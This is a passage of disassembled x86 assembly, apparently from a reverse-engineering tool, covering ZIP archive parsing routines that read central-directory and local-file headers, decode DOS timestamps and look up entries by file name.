add esp, 4
loc_42ED1B: ; CODE XREF: sub_42EB91+17Bj
mov eax, [ebp+var_10]
loc_42ED1E: ; CODE XREF: sub_42EB91+1Cj
; sub_42EB91+5Ej
mov esp, ebp
pop ebp
retn
sub_42EB91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42ED22 proc near ; CODE XREF: sub_43012E+99p
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_90 = dword ptr -90h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 9Ch
push esi
push edi
cmp [ebp+arg_0], 0
jnz short loc_42ED3A
xor eax, eax
jmp loc_42EF32
; ---------------------------------------------------------------------------
loc_42ED3A: ; CODE XREF: sub_42ED22+Fj
movsx eax, byte_434AA4
cmp eax, 20h
jz short loc_42ED59
mov ecx, [ebp+arg_0]
push ecx
call sub_42E71B
add esp, 4
xor eax, eax
jmp loc_42EF32
; ---------------------------------------------------------------------------
loc_42ED59: ; CODE XREF: sub_42ED22+22j
mov [ebp+var_8], 0
mov edx, [ebp+arg_0]
push edx
call sub_42EB91
add esp, 4
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jnz short loc_42ED7C
mov [ebp+var_8], 0FFFFFFFFh
loc_42ED7C: ; CODE XREF: sub_42ED22+51j
push 0
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42E7CB
add esp, 0Ch
test eax, eax
jz short loc_42ED99
mov [ebp+var_8], 0FFFFFFFFh
loc_42ED99: ; CODE XREF: sub_42ED22+6Ej
lea edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42EA04
add esp, 8
test eax, eax
jz short loc_42EDB4
mov [ebp+var_8], 0FFFFFFFFh
loc_42EDB4: ; CODE XREF: sub_42ED22+89j
lea ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42E99E
add esp, 8
test eax, eax
jz short loc_42EDCF
mov [ebp+var_8], 0FFFFFFFFh
loc_42EDCF: ; CODE XREF: sub_42ED22+A4j
lea eax, [ebp+var_18]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42E99E
add esp, 8
test eax, eax
jz short loc_42EDEA
mov [ebp+var_8], 0FFFFFFFFh
loc_42EDEA: ; CODE XREF: sub_42ED22+BFj
lea edx, [ebp+var_98]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42E99E
add esp, 8
test eax, eax
jz short loc_42EE08
mov [ebp+var_8], 0FFFFFFFFh
loc_42EE08: ; CODE XREF: sub_42ED22+DDj
lea ecx, [ebp+var_1C]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42E99E
add esp, 8
test eax, eax
jz short loc_42EE23
mov [ebp+var_8], 0FFFFFFFFh
loc_42EE23: ; CODE XREF: sub_42ED22+F8j
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_98]
jnz short loc_42EE3A
cmp [ebp+var_18], 0
jnz short loc_42EE3A
cmp [ebp+var_4], 0
jz short loc_42EE41
loc_42EE3A: ; CODE XREF: sub_42ED22+10Aj
; sub_42ED22+110j
mov [ebp+var_8], 0FFFFFF99h
loc_42EE41: ; CODE XREF: sub_42ED22+116j
lea ecx, [ebp+var_7C]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42EA04
add esp, 8
test eax, eax
jz short loc_42EE5C
mov [ebp+var_8], 0FFFFFFFFh
loc_42EE5C: ; CODE XREF: sub_42ED22+131j
lea eax, [ebp+var_78]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42EA04
add esp, 8
test eax, eax
jz short loc_42EE77
mov [ebp+var_8], 0FFFFFFFFh
loc_42EE77: ; CODE XREF: sub_42ED22+14Cj
lea edx, [ebp+var_94]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42E99E
add esp, 8
test eax, eax
jz short loc_42EE95
mov [ebp+var_8], 0FFFFFFFFh
loc_42EE95: ; CODE XREF: sub_42ED22+16Aj
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_10]
add edx, [ecx+0Ch]
mov eax, [ebp+var_78]
add eax, [ebp+var_7C]
cmp edx, eax
jnb short loc_42EEB5
cmp [ebp+var_8], 0
jnz short loc_42EEB5
mov [ebp+var_8], 0FFFFFF99h
loc_42EEB5: ; CODE XREF: sub_42ED22+184j
; sub_42ED22+18Aj
cmp [ebp+var_8], 0
jz short loc_42EECB
mov ecx, [ebp+arg_0]
push ecx
call sub_42E71B
add esp, 4
xor eax, eax
jmp short loc_42EF32
; ---------------------------------------------------------------------------
loc_42EECB: ; CODE XREF: sub_42ED22+197j
mov edx, [ebp+arg_0]
mov [ebp+var_9C], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_10]
add ecx, [eax+0Ch]
mov edx, [ebp+var_78]
add edx, [ebp+var_7C]
sub ecx, edx
mov [ebp+var_90], ecx
mov eax, [ebp+var_10]
mov [ebp+var_80], eax
mov [ebp+var_20], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+0Ch], 0
push 80h
call dword_4331C8 ; malloc
add esp, 4
mov [ebp+var_C], eax
mov ecx, 20h
lea esi, [ebp+var_9C]
mov edi, [ebp+var_C]
rep movsd
mov edx, [ebp+var_C]
push edx
call sub_42F473
add esp, 4
mov eax, [ebp+var_C]
loc_42EF32: ; CODE XREF: sub_42ED22+13j
; sub_42ED22+32j ...
pop edi
pop esi
mov esp, ebp
pop ebp
retn
sub_42ED22 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42EF38 proc near ; CODE XREF: sub_430F58+36p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
jnz short loc_42EF49
mov eax, 0FFFFFF9Ah
jmp short loc_42EF87
; ---------------------------------------------------------------------------
loc_42EF49: ; CODE XREF: sub_42EF38+8j
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+7Ch], 0
jz short loc_42EF64
mov edx, [ebp+arg_0]
push edx
call sub_42FF37
add esp, 4
loc_42EF64: ; CODE XREF: sub_42EF38+1Ej
mov eax, [ebp+var_4]
mov ecx, [eax]
push ecx
call sub_42E71B
add esp, 4
cmp [ebp+var_4], 0
jz short loc_42EF85
mov edx, [ebp+var_4]
push edx
call dword_4331D4 ; free
add esp, 4
loc_42EF85: ; CODE XREF: sub_42EF38+3Ej
xor eax, eax
loc_42EF87: ; CODE XREF: sub_42EF38+Fj
mov esp, ebp
pop ebp
retn
sub_42EF38 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+8], 0
jnz short loc_42EF9C
mov eax, 0FFFFFF9Ah
jmp short loc_42EFB5
; ---------------------------------------------------------------------------
loc_42EF9C: ; CODE XREF: TEUm:0042EF93j
mov eax, [ebp+8]
mov [ebp-4], eax
mov ecx, [ebp-4]
mov edx, [ecx+4]
mov eax, [ecx+8]
mov ecx, [ebp+0Ch]
mov [ecx], edx
mov [ecx+4], eax
xor eax, eax
loc_42EFB5: ; CODE XREF: TEUm:0042EF9Aj
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42EFB9 proc near ; CODE XREF: sub_42F032+122p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
shr eax, 10h
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
and ecx, 1Fh
mov edx, [ebp+arg_4]
mov [edx+0Ch], ecx
mov eax, [ebp+var_4]
and eax, 1E0h
shr eax, 5
sub eax, 1
mov ecx, [ebp+arg_4]
mov [ecx+10h], eax
mov edx, [ebp+var_4]
and edx, 0FE00h
shr edx, 9
add edx, 7BCh
mov eax, [ebp+arg_4]
mov [eax+14h], edx
mov ecx, [ebp+arg_0]
and ecx, 0F800h
shr ecx, 0Bh
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_0]
and eax, 7E0h
shr eax, 5
mov ecx, [ebp+arg_4]
mov [ecx+4], eax
mov edx, [ebp+arg_0]
and edx, 1Fh
shl edx, 1
mov eax, [ebp+arg_4]
mov [eax], edx
mov esp, ebp
pop ebp
retn
sub_42EFB9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F032 proc near ; CODE XREF: sub_42F444+25p
; sub_42F473+4Dp ...
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = byte ptr -64h
var_60 = byte ptr -60h
var_5C = byte ptr -5Ch
var_58 = byte ptr -58h
var_54 = dword ptr -54h
var_50 = byte ptr -50h
var_4C = byte ptr -4Ch
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = byte ptr -34h
var_30 = byte ptr -30h
var_2C = byte ptr -2Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 70h
push esi
push edi
mov [ebp+var_C], 0
mov [ebp+var_4], 0
cmp [ebp+arg_0], 0
jnz short loc_42F058
mov eax, 0FFFFFF9Ah
jmp loc_42F43E
; ---------------------------------------------------------------------------
loc_42F058: ; CODE XREF: sub_42F032+1Aj
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
push 0
mov ecx, [ebp+var_10]
mov edx, [ecx+14h]
mov eax, [ebp+var_10]
add edx, [eax+0Ch]
push edx
mov ecx, [ebp+var_10]
mov edx, [ecx]
push edx
call sub_42E7CB
add esp, 0Ch
test eax, eax
jz short loc_42F086
mov [ebp+var_C], 0FFFFFFFFh
loc_42F086: ; CODE XREF: sub_42F032+4Bj
cmp [ebp+var_C], 0
jnz short loc_42F0BB
lea eax, [ebp+var_14]
push eax
mov ecx, [ebp+var_10]
mov edx, [ecx]
push edx
call sub_42EA04
add esp, 8
test eax, eax
jz short loc_42F0AB
mov [ebp+var_C], 0FFFFFFFFh
jmp short loc_42F0BB
; ---------------------------------------------------------------------------
loc_42F0AB: ; CODE XREF: sub_42F032+6Ej
cmp [ebp+var_14], 2014B50h
jz short loc_42F0BB
mov [ebp+var_C], 0FFFFFF99h
loc_42F0BB: ; CODE XREF: sub_42F032+58j
; sub_42F032+77j ...
lea eax, [ebp+var_64]
push eax
mov ecx, [ebp+var_10]
mov edx, [ecx]
push edx
call sub_42E99E
add esp, 8
test eax, eax
jz short loc_42F0D8
mov [ebp+var_C], 0FFFFFFFFh
loc_42F0D8: ; CODE XREF: sub_42F032+9Dj
lea eax, [ebp+var_60]
push eax
mov ecx, [ebp+var_10]
mov edx, [ecx]
push edx
call sub_42E99E
add esp, 8
test eax, eax
jz short loc_42F0F5
mov [ebp+var_C], 0FFFFFFFFh
loc_42F0F5: ; CODE XREF: sub_42F032+BAj
lea eax, [ebp+var_5C]
push eax
mov ecx, [ebp+var_10]
mov edx, [ecx]
push edx
call sub_42E99E
add esp, 8
test eax, eax
jz short loc_42F112
mov [ebp+var_C], 0FFFFFFFFh
loc_42F112: ; CODE XREF: sub_42F032+D7j
lea eax, [ebp+var_58]
push eax
mov ecx, [ebp+var_10]
mov edx, [ecx]
push edx
call sub_42E99E
add esp, 8
test eax, eax
jz short loc_42F12F
mov [ebp+var_C], 0FFFFFFFFh
loc_42F12F: ; CODE XREF: sub_42F032+F4j
lea eax, [ebp+var_54]
push eax
mov ecx, [ebp+var_10]
mov edx, [ecx]
push edx
call sub_42EA04
add esp, 8
test eax, eax
jz short loc_42F14C
mov [ebp+var_C], 0FFFFFFFFh
loc_42F14C: ; CODE XREF: sub_42F032+111j
lea eax, [ebp+var_2C]
push eax
mov ecx, [ebp+var_54]
push ecx
call sub_42EFB9
add esp, 8
lea edx, [ebp+var_50]
push edx
mov eax, [ebp+var_10]
mov ecx, [eax]
push ecx
call sub_42EA04
add esp, 8
test eax, eax
jz short loc_42F179
mov [ebp+var_C], 0FFFFFFFFh
loc_42F179: ; CODE XREF: sub_42F032+13Ej
lea edx, [ebp+var_4C]
push edx
mov eax, [ebp+var_10]
mov ecx, [eax]
push ecx
call sub_42EA04
add esp, 8
test eax, eax
jz short loc_42F196
mov [ebp+var_C], 0FFFFFFFFh
loc_42F196: ; CODE XREF: sub_42F032+15Bj
lea edx, [ebp+var_48]
push edx
mov eax, [ebp+var_10]
mov ecx, [eax]
push ecx
call sub_42EA04
add esp, 8
test eax, eax
jz short loc_42F1B3
mov [ebp+var_C], 0FFFFFFFFh
loc_42F1B3: ; CODE XREF: sub_42F032+178j
lea edx, [ebp+var_44]
push edx
mov eax, [ebp+var_10]
mov ecx, [eax]
push ecx
call sub_42E99E
add esp, 8
test eax, eax
jz short loc_42F1D0
mov [ebp+var_C], 0FFFFFFFFh
loc_42F1D0: ; CODE XREF: sub_42F032+195j
lea edx, [ebp+var_40]
push edx
mov eax, [ebp+var_10]
mov ecx, [eax]
push ecx
call sub_42E99E
add esp, 8
test eax, eax
jz short loc_42F1ED
mov [ebp+var_C], 0FFFFFFFFh
loc_42F1ED: ; CODE XREF: sub_42F032+1B2j
lea edx, [ebp+var_3C]
push edx
mov eax, [ebp+var_10]
mov ecx, [eax]
push ecx
call sub_42E99E
add esp, 8
test eax, eax
jz short loc_42F20A
mov [ebp+var_C], 0FFFFFFFFh
loc_42F20A: ; CODE XREF: sub_42F032+1CFj
lea edx, [ebp+var_38]
push edx
mov eax, [ebp+var_10]
mov ecx, [eax]
push ecx
call sub_42E99E
add esp, 8
test eax, eax
jz short loc_42F227
mov [ebp+var_C], 0FFFFFFFFh
loc_42F227: ; CODE XREF: sub_42F032+1ECj
lea edx, [ebp+var_34]
push edx
mov eax, [ebp+var_10]
mov ecx, [eax]
push ecx
call sub_42E99E
add esp, 8
test eax, eax
jz short loc_42F244
mov [ebp+var_C], 0FFFFFFFFh
loc_42F244: ; CODE XREF: sub_42F032+209j
lea edx, [ebp+var_30]
push edx
mov eax, [ebp+var_10]
mov ecx, [eax]
push ecx
call sub_42EA04
add esp, 8
test eax, eax
jz short loc_42F261
mov [ebp+var_C], 0FFFFFFFFh
loc_42F261: ; CODE XREF: sub_42F032+226j
lea edx, [ebp+var_8]
push edx
mov eax, [ebp+var_10]
mov ecx, [eax]
push ecx
call sub_42EA04
add esp, 8
test eax, eax
jz short loc_42F27E
mov [ebp+var_C], 0FFFFFFFFh
loc_42F27E: ; CODE XREF: sub_42F032+243j
mov edx, [ebp+var_4]
add edx, [ebp+var_44]
mov [ebp+var_4], edx
cmp [ebp+var_C], 0
jnz short loc_42F2EB
cmp [ebp+arg_C], 0
jz short loc_42F2EB
mov eax, [ebp+var_44]
cmp eax, [ebp+arg_10]
jnb short loc_42F2AC
mov ecx, [ebp+arg_C]
add ecx, [ebp+var_44]
mov byte ptr [ecx], 0
mov edx, [ebp+var_44]
mov [ebp+var_68], edx
jmp short loc_42F2B2
; ---------------------------------------------------------------------------
loc_42F2AC: ; CODE XREF: sub_42F032+267j
mov eax, [ebp+arg_10]
mov [ebp+var_68], eax
loc_42F2B2: ; CODE XREF: sub_42F032+278j
cmp [ebp+var_44], 0
jbe short loc_42F2E2
cmp [ebp+arg_10], 0
jbe short loc_42F2E2
mov ecx, [ebp+var_10]
mov edx, [ecx]
push edx
push 1
mov eax, [ebp+var_68]
push eax
mov ecx, [ebp+arg_C]
push ecx
call sub_42E8A0
add esp, 10h
cmp eax, 1
jz short loc_42F2E2
mov [ebp+var_C], 0FFFFFFFFh
loc_42F2E2: ; CODE XREF: sub_42F032+284j
; sub_42F032+28Aj ...
mov edx, [ebp+var_4]
sub edx, [ebp+var_68]
mov [ebp+var_4], edx
loc_42F2EB: ; CODE XREF: sub_42F032+259j
; sub_42F032+25Fj
cmp [ebp+var_C], 0
jnz loc_42F383
cmp [ebp+arg_14], 0
jz loc_42F383
mov eax, [ebp+var_40]
cmp eax, [ebp+arg_18]
jnb short loc_42F30F
mov ecx, [ebp+var_40]
mov [ebp+var_6C], ecx
jmp short loc_42F315
; ---------------------------------------------------------------------------
loc_42F30F: ; CODE XREF: sub_42F032+2D3j
mov edx, [ebp+arg_18]
mov [ebp+var_6C], edx
loc_42F315: ; CODE XREF: sub_42F032+2DBj
cmp [ebp+var_4], 0
jz short loc_42F343
push 1
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_10]
mov edx, [ecx]
push edx
call sub_42E7CB
add esp, 0Ch
test eax, eax
jnz short loc_42F33C
mov [ebp+var_4], 0
jmp short loc_42F343
; ---------------------------------------------------------------------------
loc_42F33C: ; CODE XREF: sub_42F032+2FFj
mov [ebp+var_C], 0FFFFFFFFh
loc_42F343: ; CODE XREF: sub_42F032+2E7j
; sub_42F032+308j
cmp [ebp+var_40], 0
jbe short loc_42F373
cmp [ebp+arg_18], 0
jbe short loc_42F373
mov eax, [ebp+var_10]
mov ecx, [eax]
push ecx
push 1
mov edx, [ebp+var_6C]
push edx
mov eax, [ebp+arg_14]
push eax
call sub_42E8A0
add esp, 10h
cmp eax, 1
jz short loc_42F373
mov [ebp+var_C], 0FFFFFFFFh
loc_42F373: ; CODE XREF: sub_42F032+315j
; sub_42F032+31Bj ...
mov ecx, [ebp+var_40]
sub ecx, [ebp+var_6C]
mov edx, [ebp+var_4]
add edx, ecx
mov [ebp+var_4], edx
jmp short loc_42F38C
; ---------------------------------------------------------------------------
loc_42F383: ; CODE XREF: sub_42F032+2BDj
; sub_42F032+2C7j
mov eax, [ebp+var_4]
add eax, [ebp+var_40]
mov [ebp+var_4], eax
loc_42F38C: ; CODE XREF: sub_42F032+34Fj
cmp [ebp+var_C], 0
jnz short loc_42F40E
cmp [ebp+arg_1C], 0
jz short loc_42F40E
mov ecx, [ebp+var_3C]
cmp ecx, [ebp+arg_20]
jnb short loc_42F3B1
mov edx, [ebp+arg_1C]
add edx, [ebp+var_3C]
mov byte ptr [edx], 0
mov eax, [ebp+var_3C]
mov [ebp+var_70], eax
jmp short loc_42F3B7
; ---------------------------------------------------------------------------
loc_42F3B1: ; CODE XREF: sub_42F032+36Cj
mov ecx, [ebp+arg_20]
mov [ebp+var_70], ecx
loc_42F3B7: ; CODE XREF: sub_42F032+37Dj
cmp [ebp+var_4], 0
jz short loc_42F3DE
push 1
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+var_10]
mov ecx, [eax]
push ecx
call sub_42E7CB
add esp, 0Ch
test eax, eax
jnz short loc_42F3D7
jmp short loc_42F3DE
; ---------------------------------------------------------------------------
loc_42F3D7: ; CODE XREF: sub_42F032+3A1j
mov [ebp+var_C], 0FFFFFFFFh
loc_42F3DE: ; CODE XREF: sub_42F032+389j
; sub_42F032+3A3j
cmp [ebp+var_3C], 0
jbe short loc_42F40E
cmp [ebp+arg_20], 0
jbe short loc_42F40E
mov edx, [ebp+var_10]
mov eax, [edx]
push eax
push 1
mov ecx, [ebp+var_70]
push ecx
mov edx, [ebp+arg_1C]
push edx
call sub_42E8A0
add esp, 10h
cmp eax, 1
jz short loc_42F40E
mov [ebp+var_C], 0FFFFFFFFh
loc_42F40E: ; CODE XREF: sub_42F032+35Ej
; sub_42F032+364j ...
cmp [ebp+var_C], 0
jnz short loc_42F427
cmp [ebp+arg_4], 0
jz short loc_42F427
mov ecx, 14h
lea esi, [ebp+var_64]
mov edi, [ebp+arg_4]
rep movsd
loc_42F427: ; CODE XREF: sub_42F032+3E0j
; sub_42F032+3E6j
cmp [ebp+var_C], 0
jnz short loc_42F43B
cmp [ebp+arg_8], 0
jz short loc_42F43B
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_8]
mov [eax], ecx
loc_42F43B: ; CODE XREF: sub_42F032+3F9j
; sub_42F032+3FFj
mov eax, [ebp+var_C]
loc_42F43E: ; CODE XREF: sub_42F032+21j
pop edi
pop esi
mov esp, ebp
pop ebp
retn
sub_42F032 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F444 proc near ; CODE XREF: sub_42F59A+BBp
; sub_4301DC+194p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, [ebp+arg_1C]
push eax
mov ecx, [ebp+arg_18]
push ecx
mov edx, [ebp+arg_14]
push edx
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 0
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42F032
add esp, 24h
pop ebp
retn
sub_42F444 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F473 proc near ; CODE XREF: sub_42ED22+205p
; sub_42F59A+8Ap ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
cmp [ebp+arg_0], 0
jnz short loc_42F486
mov eax, 0FFFFFF9Ah
jmp short loc_42F4DD
; ---------------------------------------------------------------------------
loc_42F486: ; CODE XREF: sub_42F473+Aj
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
mov edx, [ebp+var_8]
mov eax, [edx+24h]
mov [ecx+14h], eax
mov ecx, [ebp+var_8]
mov dword ptr [ecx+10h], 0
push 0
push 0
push 0
push 0
push 0
push 0
mov edx, [ebp+var_8]
add edx, 78h
push edx
mov eax, [ebp+var_8]
add eax, 28h
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42F032
add esp, 24h
mov [ebp+var_4], eax
xor edx, edx
cmp [ebp+var_4], 0
setz dl
mov eax, [ebp+var_8]
mov [eax+18h], edx
mov eax, [ebp+var_4]
loc_42F4DD: ; CODE XREF: sub_42F473+11j
mov esp, ebp
pop ebp
retn
sub_42F473 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F4E1 proc near ; CODE XREF: sub_42F59A+E9p
; sub_4301DC+169p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
cmp [ebp+arg_0], 0
jnz short loc_42F4F7
mov eax, 0FFFFFF9Ah
jmp loc_42F596
; ---------------------------------------------------------------------------
loc_42F4F7: ; CODE XREF: sub_42F4E1+Aj
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+18h], 0
jnz short loc_42F510
mov eax, 0FFFFFF9Ch
jmp loc_42F596
; ---------------------------------------------------------------------------
loc_42F510: ; CODE XREF: sub_42F4E1+23j
mov edx, [ebp+var_8]
mov eax, [edx+10h]
add eax, 1
mov ecx, [ebp+var_8]
cmp eax, [ecx+4]
jnz short loc_42F528
mov eax, 0FFFFFF9Ch
jmp short loc_42F596
; ---------------------------------------------------------------------------
loc_42F528: ; CODE XREF: sub_42F4E1+3Ej
mov edx, [ebp+var_8]
mov eax, [edx+48h]
mov ecx, [ebp+var_8]
mov edx, [ecx+4Ch]
lea eax, [eax+edx+2Eh]
mov ecx, [ebp+var_8]
add eax, [ecx+50h]
mov edx, [ebp+var_8]
mov ecx, [edx+14h]
add ecx, eax
mov edx, [ebp+var_8]
mov [edx+14h], ecx
mov eax, [ebp+var_8]
mov ecx, [eax+10h]
add ecx, 1
mov edx, [ebp+var_8]
mov [edx+10h], ecx
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, [ebp+var_8]
add eax, 78h
push eax
mov ecx, [ebp+var_8]
add ecx, 28h
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42F032
add esp, 24h
mov [ebp+var_4], eax
xor eax, eax
cmp [ebp+var_4], 0
setz al
mov ecx, [ebp+var_8]
mov [ecx+18h], eax
mov eax, [ebp+var_4]
loc_42F596: ; CODE XREF: sub_42F4E1+11j
; sub_42F4E1+2Aj ...
mov esp, ebp
pop ebp
retn
sub_42F4E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F59A proc near ; CODE XREF: sub_430867+25p
var_218 = byte ptr -218h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = byte ptr -104h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 218h
cmp [ebp+arg_0], 0
jnz short loc_42F5B3
mov eax, 0FFFFFF9Ah
jmp loc_42F6B7
; ---------------------------------------------------------------------------
loc_42F5B3: ; CODE XREF: sub_42F59A+Dj
mov eax, [ebp+arg_4]
push eax
call sub_4318BE ; strlen
add esp, 4
cmp eax, 100h
jb short loc_42F5D0
mov eax, 0FFFFFF9Ah
jmp loc_42F6B7
; ---------------------------------------------------------------------------
loc_42F5D0: ; CODE XREF: sub_42F59A+2Aj
mov ecx, [ebp+arg_4]
push ecx
lea edx, [ebp+var_104]
push edx
call sub_4318B8 ; strcpy
add esp, 8
mov eax, [ebp+arg_0]
mov [ebp+var_10C], eax
mov ecx, [ebp+var_10C]
cmp dword ptr [ecx+18h], 0
jnz short loc_42F602
mov eax, 0FFFFFF9Ch
jmp loc_42F6B7
; ---------------------------------------------------------------------------
loc_42F602: ; CODE XREF: sub_42F59A+5Cj
mov edx, [ebp+var_10C]
mov eax, [edx+10h]
mov [ebp+var_110], eax
mov ecx, [ebp+var_10C]
mov edx, [ecx+14h]
mov [ebp+var_114], edx
mov eax, [ebp+arg_0]
push eax
call sub_42F473
add esp, 4
mov [ebp+var_108], eax
loc_42F632: ; CODE XREF: sub_42F59A+F7j
cmp [ebp+var_108], 0
jnz short loc_42F693
push 0
push 0
push 0
push 0
push 100h
lea ecx, [ebp+var_218]
push ecx
push 0
mov edx, [ebp+arg_0]
push edx
call sub_42F444
add esp, 20h
mov eax, [ebp+arg_8]
push eax
lea ecx, [ebp+var_104]
push ecx
lea edx, [ebp+var_218]
push edx
call sub_42EB64
add esp, 0Ch
test eax, eax
jnz short loc_42F67F
xor eax, eax
jmp short loc_42F6B7
; ---------------------------------------------------------------------------
loc_42F67F: ; CODE XREF: sub_42F59A+DFj
mov eax, [ebp+arg_0]
push eax
call sub_42F4E1
add esp, 4
mov [ebp+var_108], eax
jmp short loc_42F632
; ---------------------------------------------------------------------------
loc_42F693: ; CODE XREF: sub_42F59A+9Fj
mov ecx, [ebp+var_10C]
mov edx, [ebp+var_110]
mov [ecx+10h], edx
mov eax, [ebp+var_10C]
mov ecx, [ebp+var_114]
mov [eax+14h], ecx
mov eax, [ebp+var_108]
loc_42F6B7: ; CODE XREF: sub_42F59A+14j
; sub_42F59A+31j ...
mov esp, ebp
pop ebp
retn
sub_42F59A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F6BB proc near ; CODE XREF: sub_42F940+54p
; sub_4301DC+1B4p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 18h
mov [ebp+var_4], 0
mov eax, [ebp+arg_4]
mov dword ptr [eax], 0
mov ecx, [ebp+arg_8]
mov dword ptr [ecx], 0
mov edx, [ebp+arg_C]
mov dword ptr [edx], 0
push 0
mov eax, [ebp+arg_0]
mov ecx, [eax+78h]
mov edx, [ebp+arg_0]
add ecx, [edx+0Ch]
push ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
call sub_42E7CB
add esp, 0Ch
test eax, eax
jz short loc_42F70C
or eax, 0FFFFFFFFh
jmp loc_42F93C
; ---------------------------------------------------------------------------
loc_42F70C: ; CODE XREF: sub_42F6BB+47j
cmp [ebp+var_4], 0
jnz short loc_42F741
lea edx, [ebp+var_10]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
call sub_42EA04
add esp, 8
test eax, eax
jz short loc_42F731
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_42F741
; ---------------------------------------------------------------------------
loc_42F731: ; CODE XREF: sub_42F6BB+6Bj
cmp [ebp+var_10], 4034B50h
jz short loc_42F741
mov [ebp+var_4], 0FFFFFF99h
loc_42F741: ; CODE XREF: sub_42F6BB+55j
; sub_42F6BB+74j ...
lea edx, [ebp+var_18]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
call sub_42E99E
add esp, 8
test eax, eax
jz short loc_42F75E
mov [ebp+var_4], 0FFFFFFFFh
loc_42F75E: ; CODE XREF: sub_42F6BB+9Aj
lea edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
call sub_42E99E
add esp, 8
test eax, eax
jz short loc_42F77B
mov [ebp+var_4], 0FFFFFFFFh
